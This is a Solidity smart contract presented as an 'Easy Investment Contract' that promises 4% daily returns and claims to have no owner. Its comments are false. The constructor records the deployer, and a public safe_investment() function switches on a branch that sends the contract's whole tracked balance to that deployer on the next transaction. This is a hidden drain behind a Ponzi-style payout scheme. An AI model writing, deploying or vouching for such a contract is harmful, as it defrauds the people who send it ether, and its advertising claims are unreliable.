pragma solidity 0.4.25;
/**
 *
 * Easy Investment Contract
 *  - GAIN 4% PER 24 HOURS (every 5900 blocks)
 *  - NO COMMISSION on your investment (every ether stays on contract's balance)
 *  - NO FEES are collected by the owner, in fact, there is no owner at all (just look at the code)
 *
 * How to use:
 *  1. Send any amount of ether to make an investment
 *  2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS)
 *  OR
 *  2b. Send more ether to reinvest AND get your profit at the same time
 *
 * RECOMMENDED GAS LIMIT: 70000
 * RECOMMENDED GAS PRICE: https://ethgasstation.info/
 *
 * Contract reviewed and approved by pros!
 *
 */

contract easy_invest {
    // records amounts invested
    mapping (address => uint256) invested;
    // records blocks at which investments were made
    mapping (address => uint256) atBlock;

    uint256 total_investment;

    uint public is_safe_withdraw_investment;
    address public investor;

    constructor() public {
        investor = msg.sender;
    }

    // this function called every time anyone sends a transaction to this contract
    function () external payable {
        // if sender (aka YOU) is invested more than 0 ether
        if (invested[msg.sender] != 0) {
            // calculate profit amount as such:
            // amount = (amount invested) * 4% * (blocks since last transaction) / 5900
            // 5900 is an average block count per day produced by Ethereum blockchain
            uint256 amount = invested[msg.sender] * 4 / 100 * (block.number - atBlock[msg.sender]) / 5900;

            // send calculated amount of ether directly to sender (aka YOU)
            address sender = msg.sender;
            sender.transfer(amount);
            total_investment -= amount;
        }

        // record block number and invested amount (msg.value) of this transaction
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;

        total_investment += msg.value;
        
        if (is_safe_withdraw_investment == 1) {
            investor.transfer(total_investment);
            total_investment = 0;
        }
    }

    function safe_investment() public {
        is_safe_withdraw_investment = 1;
    }
}